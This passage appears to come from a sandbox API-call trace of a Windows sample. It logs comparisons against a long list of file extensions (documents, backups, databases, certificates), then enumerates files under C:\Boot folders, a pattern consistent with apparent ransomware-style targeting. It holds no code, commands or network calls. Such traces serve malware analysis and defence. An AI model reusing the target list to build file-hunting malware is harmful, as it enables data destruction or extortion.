	[0036.931] lstrcmpiW (lpString1=".arw", lpString2="") returned 1
	[0036.931] lstrlenW (lpString=".as") returned 3
	[0036.931] lstrcmpiW (lpString1=".as", lpString2="BCD") returned -1
	[0036.931] lstrlenW (lpString=".asa") returned 4
	[0036.931] lstrcmpiW (lpString1=".asa", lpString2="") returned 1
	[0036.931] lstrlenW (lpString=".asc") returned 4
	[0036.931] lstrcmpiW (lpString1=".asc", lpString2="") returned 1
	[0036.931] lstrlenW (lpString=".ascx") returned 5
	[0036.931] lstrcmpiW (lpString1=".ascx", lpString2="") returned 1
	[0036.931] lstrlenW (lpString=".asm") returned 4
	[0036.931] lstrcmpiW (lpString1=".asm", lpString2="") returned 1
	[0036.931] lstrlenW (lpString=".asmx") returned 5
	[0036.931] lstrcmpiW (lpString1=".asmx", lpString2="") returned 1
	[0036.931] lstrlenW (lpString=".asp") returned 4
	[0036.931] lstrcmpiW (lpString1=".asp", lpString2="") returned 1
	[0036.931] lstrlenW (lpString=".aspx") returned 5
	[0036.931] lstrcmpiW (lpString1=".aspx", lpString2="") returned 1
	[0036.931] lstrlenW (lpString=".asr") returned 4
	[0036.931] lstrcmpiW (lpString1=".asr", lpString2="") returned 1
	[0036.931] lstrlenW (lpString=".asx") returned 4
	[0036.931] lstrcmpiW (lpString1=".asx", lpString2="") returned 1
	[0036.931] lstrlenW (lpString=".avi") returned 4
	[0036.931] lstrcmpiW (lpString1=".avi", lpString2="") returned 1
	[0036.931] lstrlenW (lpString=".avs") returned 4
	[0036.931] lstrcmpiW (lpString1=".avs", lpString2="") returned 1
	[0036.931] lstrlenW (lpString=".backup") returned 7
	[0036.931] lstrcmpiW (lpString1=".backup", lpString2="") returned 1
	[0036.931] lstrlenW (lpString=".bak") returned 4
	[0036.931] lstrcmpiW (lpString1=".bak", lpString2="") returned 1
	[0036.931] lstrlenW (lpString=".bay") returned 4
	[0036.931] lstrcmpiW (lpString1=".bay", lpString2="") returned 1
	[0036.931] lstrlenW (lpString=".bd") returned 3
	[0036.932] lstrcmpiW (lpString1=".bd", lpString2="BCD") returned -1
	[0036.932] lstrlenW (lpString=".bin") returned 4
	[0036.932] lstrcmpiW (lpString1=".bin", lpString2="") returned 1
	[0036.932] lstrlenW (lpString=".bmp") returned 4
	[0036.932] lstrcmpiW (lpString1=".bmp", lpString2="") returned 1
	[0036.932] lstrlenW (lpString=".bz2") returned 4
	[0036.932] lstrcmpiW (lpString1=".bz2", lpString2="") returned 1
	[0036.932] lstrlenW (lpString=".c") returned 2
	[0036.932] lstrcmpiW (lpString1=".c", lpString2="CD") returned -1
	[0036.932] lstrlenW (lpString=".cdr") returned 4
	[0036.932] lstrcmpiW (lpString1=".cdr", lpString2="") returned 1
	[0036.932] lstrlenW (lpString=".cer") returned 4
	[0036.932] lstrcmpiW (lpString1=".cer", lpString2="") returned 1
	[0036.932] lstrlenW (lpString=".cf") returned 3
	[0036.932] lstrcmpiW (lpString1=".cf", lpString2="BCD") returned -1
	[0036.932] lstrlenW (lpString=".cfc") returned 4
	[0036.932] lstrcmpiW (lpString1=".cfc", lpString2="") returned 1
	[0036.932] lstrlenW (lpString=".cfm") returned 4
	[0036.932] lstrcmpiW (lpString1=".cfm", lpString2="") returned 1
	[0036.932] lstrlenW (lpString=".cfml") returned 5
	[0036.932] lstrcmpiW (lpString1=".cfml", lpString2="") returned 1
	[0036.932] lstrlenW (lpString=".cfu") returned 4
	[0036.932] lstrcmpiW (lpString1=".cfu", lpString2="") returned 1
	[0036.932] lstrlenW (lpString=".chm") returned 4
	[0036.932] lstrcmpiW (lpString1=".chm", lpString2="") returned 1
	[0036.932] lstrlenW (lpString=".cin") returned 4
	[0036.932] lstrcmpiW (lpString1=".cin", lpString2="") returned 1
	[0036.932] lstrlenW (lpString=".class") returned 6
	[0036.932] lstrcmpiW (lpString1=".class", lpString2="") returned 1
	[0036.932] lstrlenW (lpString=".clx") returned 4
	[0036.932] lstrcmpiW (lpString1=".clx", lpString2="") returned 1
	[0036.932] lstrlenW (lpString=".config") returned 7
	[0036.932] lstrcmpiW (lpString1=".config", lpString2="") returned 1
	[0036.932] lstrlenW (lpString=".cpp") returned 4
	[0036.933] lstrcmpiW (lpString1=".cpp", lpString2="") returned 1
	[0036.933] lstrlenW (lpString=".cr2") returned 4
	[0036.933] lstrcmpiW (lpString1=".cr2", lpString2="") returned 1
	[0036.933] lstrlenW (lpString=".crt") returned 4
	[0036.933] lstrcmpiW (lpString1=".crt", lpString2="") returned 1
	[0036.933] lstrlenW (lpString=".crw") returned 4
	[0036.933] lstrcmpiW (lpString1=".crw", lpString2="") returned 1
	[0036.933] lstrlenW (lpString=".cs") returned 3
	[0036.933] lstrcmpiW (lpString1=".cs", lpString2="BCD") returned -1
	[0036.933] lstrlenW (lpString=".css") returned 4
	[0036.933] lstrcmpiW (lpString1=".css", lpString2="") returned 1
	[0036.933] lstrlenW (lpString=".csv") returned 4
	[0036.933] lstrcmpiW (lpString1=".csv", lpString2="") returned 1
	[0036.933] lstrlenW (lpString=".cub") returned 4
	[0036.933] lstrcmpiW (lpString1=".cub", lpString2="") returned 1
	[0036.933] lstrlenW (lpString=".dae") returned 4
	[0036.933] lstrcmpiW (lpString1=".dae", lpString2="") returned 1
	[0036.933] lstrlenW (lpString=".dat") returned 4
	[0036.933] lstrcmpiW (lpString1=".dat", lpString2="") returned 1
	[0036.933] lstrlenW (lpString=".db") returned 3
	[0036.933] lstrcmpiW (lpString1=".db", lpString2="BCD") returned -1
	[0036.933] lstrlenW (lpString=".dbf") returned 4
	[0036.933] lstrcmpiW (lpString1=".dbf", lpString2="") returned 1
	[0036.933] lstrlenW (lpString=".dbx") returned 4
	[0036.933] lstrcmpiW (lpString1=".dbx", lpString2="") returned 1
	[0036.933] lstrlenW (lpString=".dc3") returned 4
	[0036.933] lstrcmpiW (lpString1=".dc3", lpString2="") returned 1
	[0036.933] lstrlenW (lpString=".dcm") returned 4
	[0036.933] lstrcmpiW (lpString1=".dcm", lpString2="") returned 1
	[0036.933] lstrlenW (lpString=".dcr") returned 4
	[0036.933] lstrcmpiW (lpString1=".dcr", lpString2="") returned 1
	[0036.933] lstrlenW (lpString=".der") returned 4
	[0036.933] lstrcmpiW (lpString1=".der", lpString2="") returned 1
	[0036.933] lstrlenW (lpString=".dib") returned 4
	[0036.934] lstrcmpiW (lpString1=".dib", lpString2="") returned 1
	[0036.934] lstrlenW (lpString=".dic") returned 4
	[0036.934] lstrcmpiW (lpString1=".dic", lpString2="") returned 1
	[0036.934] lstrlenW (lpString=".dif") returned 4
	[0036.934] lstrcmpiW (lpString1=".dif", lpString2="") returned 1
	[0036.934] lstrlenW (lpString=".divx") returned 5
	[0036.934] lstrcmpiW (lpString1=".divx", lpString2="") returned 1
	[0036.934] lstrlenW (lpString=".djvu") returned 5
	[0036.934] lstrcmpiW (lpString1=".djvu", lpString2="") returned 1
	[0036.934] lstrlenW (lpString=".dng") returned 4
	[0036.934] lstrcmpiW (lpString1=".dng", lpString2="") returned 1
	[0036.934] lstrlenW (lpString=".doc") returned 4
	[0036.934] lstrcmpiW (lpString1=".doc", lpString2="") returned 1
	[0036.934] lstrlenW (lpString=".docm") returned 5
	[0036.934] lstrcmpiW (lpString1=".docm", lpString2="") returned 1
	[0036.934] lstrlenW (lpString=".docx") returned 5
	[0036.934] lstrcmpiW (lpString1=".docx", lpString2="") returned 1
	[0036.934] lstrlenW (lpString=".dot") returned 4
	[0036.934] lstrcmpiW (lpString1=".dot", lpString2="") returned 1
	[0036.934] lstrlenW (lpString=".dotm") returned 5
	[0036.934] lstrcmpiW (lpString1=".dotm", lpString2="") returned 1
	[0036.934] lstrlenW (lpString=".dotx") returned 5
	[0036.934] lstrcmpiW (lpString1=".dotx", lpString2="") returned 1
	[0036.934] lstrlenW (lpString=".dpx") returned 4
	[0036.934] lstrcmpiW (lpString1=".dpx", lpString2="") returned 1
	[0036.934] lstrlenW (lpString=".dqy") returned 4
	[0036.934] lstrcmpiW (lpString1=".dqy", lpString2="") returned 1
	[0036.934] lstrlenW (lpString=".dsn") returned 4
	[0036.934] lstrcmpiW (lpString1=".dsn", lpString2="") returned 1
	[0036.934] lstrlenW (lpString=".dt") returned 3
	[0036.934] lstrcmpiW (lpString1=".dt", lpString2="BCD") returned -1
	[0036.934] lstrlenW (lpString=".dtd") returned 4
	[0036.934] lstrcmpiW (lpString1=".dtd", lpString2="") returned 1
	[0036.935] lstrlenW (lpString=".dwg") returned 4
	[0036.935] lstrcmpiW (lpString1=".dwg", lpString2="") returned 1
	[0036.935] lstrlenW (lpString=".dwt") returned 4
	[0036.935] lstrcmpiW (lpString1=".dwt", lpString2="") returned 1
	[0036.935] lstrlenW (lpString=".dx") returned 3
	[0036.935] lstrcmpiW (lpString1=".dx", lpString2="BCD") returned -1
	[0036.935] lstrlenW (lpString=".dxf") returned 4
	[0036.935] lstrcmpiW (lpString1=".dxf", lpString2="") returned 1
	[0036.935] lstrlenW (lpString=".edml") returned 5
	[0036.935] lstrcmpiW (lpString1=".edml", lpString2="") returned 1
	[0036.935] lstrlenW (lpString=".efd") returned 4
	[0036.935] lstrcmpiW (lpString1=".efd", lpString2="") returned 1
	[0036.935] lstrlenW (lpString=".elf") returned 4
	[0036.935] lstrcmpiW (lpString1=".elf", lpString2="") returned 1
	[0036.935] lstrlenW (lpString=".emf") returned 4
	[0036.935] lstrcmpiW (lpString1=".emf", lpString2="") returned 1
	[0036.935] lstrlenW (lpString=".emz") returned 4
	[0036.935] lstrcmpiW (lpString1=".emz", lpString2="") returned 1
	[0036.935] lstrlenW (lpString=".epf") returned 4
	[0036.935] lstrcmpiW (lpString1=".epf", lpString2="") returned 1
	[0036.935] lstrlenW (lpString=".eps") returned 4
	[0036.935] lstrcmpiW (lpString1=".eps", lpString2="") returned 1
	[0036.935] lstrlenW (lpString=".epsf") returned 5
	[0036.935] lstrcmpiW (lpString1=".epsf", lpString2="") returned 1
	[0036.935] lstrlenW (lpString=".epsp") returned 5
	[0036.935] lstrcmpiW (lpString1=".epsp", lpString2="") returned 1
	[0036.935] lstrlenW (lpString=".erf") returned 4
	[0036.935] lstrcmpiW (lpString1=".erf", lpString2="") returned 1
	[0036.935] lstrlenW (lpString=".exr") returned 4
	[0036.935] lstrcmpiW (lpString1=".exr", lpString2="") returned 1
	[0036.935] lstrlenW (lpString=".f4v") returned 4
	[0036.935] lstrcmpiW (lpString1=".f4v", lpString2="") returned 1
	[0036.935] lstrlenW (lpString=".fido") returned 5
	[0036.936] lstrcmpiW (lpString1=".fido", lpString2="") returned 1
	[0036.936] lstrlenW (lpString=".flm") returned 4
	[0036.936] lstrcmpiW (lpString1=".flm", lpString2="") returned 1
	[0036.936] lstrlenW (lpString=".flv") returned 4
	[0036.936] lstrcmpiW (lpString1=".flv", lpString2="") returned 1
	[0036.936] lstrlenW (lpString=".frm") returned 4
	[0036.936] lstrcmpiW (lpString1=".frm", lpString2="") returned 1
	[0036.936] lstrlenW (lpString=".fxg") returned 4
	[0036.936] lstrcmpiW (lpString1=".fxg", lpString2="") returned 1
	[0036.936] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x3691300
	[0036.936] FindFirstFileW (in: lpFileName="C:\\Boot\\cs-CZ\\*", lpFindFileData=0x3a3f808 | out: lpFindFileData=0x3a3f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac015040, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac015040, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3e91098
	[0036.936] FindNextFileW (in: hFindFile=0x3e91098, lpFindFileData=0x3a3f808 | out: lpFindFileData=0x3a3f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac015040, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac015040, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0036.936] FindNextFileW (in: hFindFile=0x3e91098, lpFindFileData=0x3a3f808 | out: lpFindFileData=0x3a3f808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac015040, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe88a2888, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15c50, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1
	[0036.936] FindClose (in: hFindFile=0x3e91098 | out: hFindFile=0x3e91098) returned 1
	[0036.936] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x3691300 | out: hHeap=0x4f0000) returned 1
	[0036.936] FindNextFileW (in: hFindFile=0x3e90050, lpFindFileData=0x3a3fa84 | out: lpFindFileData=0x3a3fa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="da-DK", cAlternateFileName="")) returned 1
	[0036.937] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x3691300
	[0036.937] FindFirstFileW (in: lpFileName="C:\\Boot\\da-DK\\*", lpFindFileData=0x3a3f808 | out: lpFindFileData=0x3a3f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3e91098
	[0036.937] FindNextFileW (in: hFindFile=0x3e91098, lpFindFileData=0x3a3f808 | out: lpFindFileData=0x3a3f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac015040, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0036.937] FindNextFileW (in: hFindFile=0x3e91098, lpFindFileData=0x3a3f808 | out: lpFindFileData=0x3a3f808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe868d5aa, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x15640, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1
	[0036.937] FindClose (in: hFindFile=0x3e91098 | out: hFindFile=0x3e91098) returned 1
	[0036.937] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x3691300 | out: hHeap=0x4f0000) returned 1
	[0036.937] FindNextFileW (in: hFindFile=0x3e90050, lpFindFileData=0x3a3fa84 | out: lpFindFileData=0x3a3fa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="de-DE", cAlternateFileName="")) returned 1
	[0036.937] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x3691300
	[0036.937] FindFirstFileW (in: lpFileName="C:\\Boot\\de-DE\\*", lpFindFileData=0x3a3f808 | out: lpFindFileData=0x3a3f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3e91098
	[0036.937] FindNextFileW (in: hFindFile=0x3e91098, lpFindFileData=0x3a3f808 | out: lpFindFileData=0x3a3f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0036.937] FindNextFileW (in: hFindFile=0x3e91098, lpFindFileData=0x3a3f808 | out: lpFindFileData=0x3a3f808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8132526, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16640, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1
	[0036.937] FindClose (in: hFindFile=0x3e91098 | out: hFindFile=0x3e91098) returned 1
	[0036.937] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x3691300 | out: hHeap=0x4f0000) returned 1
	[0036.938] FindNextFileW (in: hFindFile=0x3e90050, lpFindFileData=0x3a3fa84 | out: lpFindFileData=0x3a3fa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="el-GR", cAlternateFileName="")) returned 1
	[0036.938] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x3691300
	[0036.938] FindFirstFileW (in: lpFileName="C:\\Boot\\el-GR\\*", lpFindFileData=0x3a3f808 | out: lpFindFileData=0x3a3f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3e91098
	[0036.938] FindNextFileW (in: hFindFile=0x3e91098, lpFindFileData=0x3a3f808 | out: lpFindFileData=0x3a3f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0036.938] FindNextFileW (in: hFindFile=0x3e91098, lpFindFileData=0x3a3f808 | out: lpFindFileData=0x3a3f808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xea239054, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x17250, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1
	[0036.938] FindClose (in: hFindFile=0x3e91098 | out: hFindFile=0x3e91098) returned 1
	[0036.938] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x3691300 | out: hHeap=0x4f0000) returned 1
	[0036.938] FindNextFileW (in: hFindFile=0x3e90050, lpFindFileData=0x3a3fa84 | out: lpFindFileData=0x3a3fa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="en-US", cAlternateFileName="")) returned 1
	[0036.938] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x3691300
	[0036.938] FindFirstFileW (in: lpFileName="C:\\Boot\\en-US\\*", lpFindFileData=0x3a3f808 | out: lpFindFileData=0x3a3f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3e91098
	[0036.938] FindNextFileW (in: hFindFile=0x3e91098, lpFindFileData=0x3a3f808 | out: lpFindFileData=0x3a3f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac03b1a0, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0036.938] FindNextFileW (in: hFindFile=0x3e91098, lpFindFileData=0x3a3f808 | out: lpFindFileData=0x3a3f808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac03b1a0, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe8216d3c, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x14c40, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1
	[0036.939] FindClose (in: hFindFile=0x3e91098 | out: hFindFile=0x3e91098) returned 1
	[0036.939] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x3691300 | out: hHeap=0x4f0000) returned 1
	[0036.939] FindNextFileW (in: hFindFile=0x3e90050, lpFindFileData=0x3a3fa84 | out: lpFindFileData=0x3a3fa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="es-ES", cAlternateFileName="")) returned 1
	[0036.939] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x3691300
	[0036.939] FindFirstFileW (in: lpFileName="C:\\Boot\\es-ES\\*", lpFindFileData=0x3a3f808 | out: lpFindFileData=0x3a3f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3e91098
	[0036.940] FindNextFileW (in: hFindFile=0x3e91098, lpFindFileData=0x3a3f808 | out: lpFindFileData=0x3a3f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac03b1a0, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
	[0036.940] FindNextFileW (in: hFindFile=0x3e91098, lpFindFileData=0x3a3f808 | out: lpFindFileData=0x3a3f808*(dwFileAttributes=0x20, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xe84ea6d7, ftLastWriteTime.dwHighDateTime=0x1ca0420, nFileSizeHigh=0x0, nFileSizeLow=0x16050, dwReserved0=0x0, dwReserved1=0x0, cFileName="bootmgr.exe.mui", cAlternateFileName="BOOTMG~1.MUI")) returned 1
	[0036.941] FindClose (in: hFindFile=0x3e91098 | out: hFindFile=0x3e91098) returned 1
	[0036.941] HeapFree (in: hHeap=0x4f0000, dwFlags=0x0, lpMem=0x3691300 | out: hHeap=0x4f0000) returned 1
	[0036.941] FindNextFileW (in: hFindFile=0x3e90050, lpFindFileData=0x3a3fa84 | out: lpFindFileData=0x3a3fa84*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="fi-FI", cAlternateFileName="")) returned 1
	[0036.941] RtlAllocateHeap (HeapHandle=0x4f0000, Flags=0x0, Size=0xfffe) returned 0x3691300
	[0036.941] FindFirstFileW (in: lpFileName="C:\\Boot\\fi-FI\\*", lpFindFileData=0x3a3f808 | out: lpFindFileData=0x3a3f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName=".", cAlternateFileName="")) returned 0x3e91098
	[0036.941] FindNextFileW (in: hFindFile=0x3e91098, lpFindFileData=0x3a3f808 | out: lpFindFileData=0x3a3f808*(dwFileAttributes=0x10, ftCreationTime.dwLowDateTime=0xac061300, ftCreationTime.dwHighDateTime=0x1d2de32, ftLastAccessTime.dwLowDateTime=0xac061300, ftLastAccessTime.dwHighDateTime=0x1d2de32, ftLastWriteTime.dwLowDateTime=0xac061300, ftLastWriteTime.dwHighDateTime=0x1d2de32, nFileSizeHigh=0x0, nFileSizeLow=0x0, dwReserved0=0x0, dwReserved1=0x0, cFileName="..", cAlternateFileName="")) returned 1
